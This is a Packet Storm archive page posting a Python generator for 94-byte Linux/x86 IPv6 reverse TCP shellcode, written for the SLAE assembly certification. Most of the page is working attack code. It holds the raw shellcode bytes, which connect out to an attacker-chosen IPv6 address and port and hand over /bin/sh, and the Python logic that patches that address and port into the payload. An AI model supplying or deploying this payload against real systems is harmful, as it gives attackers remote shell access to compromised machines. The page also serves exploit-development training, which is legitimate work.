what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

Linux/x86 IPv6 Reverse TCP Shellcode Generator

Linux/x86 IPv6 Reverse TCP Shellcode Generator
Posted Aug 31, 2018
Authored by Kevin Kirsche

94 bytes small Linux/x86 IPv6 reverse TCP shellcode generator.

tags | x86, tcp, shellcode
systems | linux
SHA-256 | 19c18df6627b0d5e7454970d52a558a951240ecf2e47780d7a2009bff36d44a7

Linux/x86 IPv6 Reverse TCP Shellcode Generator

Change Mirror Download
#!/usr/bin/env python3
# Exploit Title: Linux x86 IPv6 Reverse TCP Shellcode Generator (94 bytes)
# Date: 2018-08-26
# Shellcode Author: Kevin Kirsche
# Shellcode Repository: https://github.com/kkirsche/SLAE/tree/master/assignment_2-reverse_shell
# Tested on: Shell on Ubuntu 18.04 with gcc 7.3.0 / Connecting to Kali 2018.2

# This shellcode will connect to fd15:4ba5:5a2b:1002:61b7:23a9:ad3d:5509 on port 1337 and give you /bin/sh

#This shellcode has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification:
#http://securitytube-training.com/online-courses/securitytube-linux-assembly-expert/
#Student ID: SLAE-1134

from argparse import ArgumentParser
from ipaddress import ip_address
import sys

sc = ("\\x31\\xdb\\x53\\x43\\x53\\x6a\\x0a\\x89\\xe1\\x6a\\x66\\x58\\xcd\\x80"
"\\x96\\x99\\x52\\x68{ipv6_fourth_octet}\\x68{ipv6_third_octet}\\x68"
"{ipv6_second_octet}\\x68{ipv6_first_octet}\\x52\\x66\\x68{port}"
"\\x66\\x6a\\x0a\\x89\\xe1\\x6a\\x1c\\x51\\x56\\x89\\xe1\\x43\\x43\\x6a"
"\\x66\\x58\\xcd\\x80\\x87\\xde\\x29\\xc9\\xb1\\x02\\xb0\\x3f\\xcd\\x80"
"\\x49\\x79\\xf9\\x31\\xd2\\x52\\x68\\x2f\\x2f\\x73\\x68\\x68\\x2f\\x62"
"\\x69\\x6e\\x89\\xd1\\x89\\xe3\\xb0\\x0b\\xcd\\x80")

if __name__ == '__main__':
parser = ArgumentParser(description=("Dual Network Stack Bind Shell "
"Generator"))
parser.add_argument('ip_address', type=str, nargs='?', default='fd15:4ba5:5a2b:1002:61b7:23a9:ad3d:5509',
help='The IP address to connect to (default fd15:4ba5:5a2b:1002:61b7:23a9:ad3d:5509)')
parser.add_argument('port', type=int, nargs='?', default=1337,
help='The port to connect to (default 1337)')
args = parser.parse_args()

ip = ip_address(args.ip_address)
ip_hex = ip.exploded

if args.port < 1 or args.port > 65535:
print('Invalid port. Please select a port between 1 and 65535')
sys.exit(1)

port = format(args.port, '04x')
port = "\\x{b}\\x{a}".format(
a=port[2:4],
b=port[0:2])

split_hex_ip = ip_hex.split(':')
ipv6_fourth_octet = '\\x{d}\\x{c}\\x{b}\\x{a}'.format(
d=split_hex_ip[6][0:2],
c=split_hex_ip[6][2:4],
b=split_hex_ip[7][0:2],
a=split_hex_ip[7][2:4])
ipv6_third_octet = '\\x{d}\\x{c}\\x{b}\\x{a}'.format(
d=split_hex_ip[4][0:2],
c=split_hex_ip[4][2:4],
b=split_hex_ip[5][0:2],
a=split_hex_ip[5][2:4])
ipv6_second_octet = '\\x{d}\\x{c}\\x{b}\\x{a}'.format(
d=split_hex_ip[2][0:2],
c=split_hex_ip[2][2:4],
b=split_hex_ip[3][0:2],
a=split_hex_ip[3][2:4])
ipv6_first_octet = '\\x{d}\\x{c}\\x{b}\\x{a}'.format(
d=split_hex_ip[0][0:2],
c=split_hex_ip[0][2:4],
b=split_hex_ip[1][0:2],
a=split_hex_ip[1][2:4])

if '\\x00' in port:
print('[!] Warning: The port you chose contains a null value.')
if (('\\x00' in ipv6_fourth_octet) or ('\\x00' in ipv6_third_octet) or
('\\x00' in ipv6_second_octet) or ('\\x00' in ipv6_first_octet)):
print('[!] Warning: The IP address you chose contains a null value.')

print('Shellcode:')
print(sc.format(
ipv6_first_octet=str(ipv6_first_octet),
ipv6_second_octet=str(ipv6_second_octet),
ipv6_third_octet=str(ipv6_third_octet),
ipv6_fourth_octet=str(ipv6_fourth_octet),
port=str(port)))


Login or Register to add favorites

File Archive:

March 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Mar 1st
    16 Files
  • 2
    Mar 2nd
    0 Files
  • 3
    Mar 3rd
    0 Files
  • 4
    Mar 4th
    32 Files
  • 5
    Mar 5th
    28 Files
  • 6
    Mar 6th
    42 Files
  • 7
    Mar 7th
    17 Files
  • 8
    Mar 8th
    13 Files
  • 9
    Mar 9th
    0 Files
  • 10
    Mar 10th
    0 Files
  • 11
    Mar 11th
    15 Files
  • 12
    Mar 12th
    19 Files
  • 13
    Mar 13th
    21 Files
  • 14
    Mar 14th
    38 Files
  • 15
    Mar 15th
    15 Files
  • 16
    Mar 16th
    0 Files
  • 17
    Mar 17th
    0 Files
  • 18
    Mar 18th
    10 Files
  • 19
    Mar 19th
    32 Files
  • 20
    Mar 20th
    46 Files
  • 21
    Mar 21st
    16 Files
  • 22
    Mar 22nd
    13 Files
  • 23
    Mar 23rd
    0 Files
  • 24
    Mar 24th
    0 Files
  • 25
    Mar 25th
    12 Files
  • 26
    Mar 26th
    31 Files
  • 27
    Mar 27th
    19 Files
  • 28
    Mar 28th
    42 Files
  • 29
    Mar 29th
    0 Files
  • 30
    Mar 30th
    0 Files
  • 31
    Mar 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close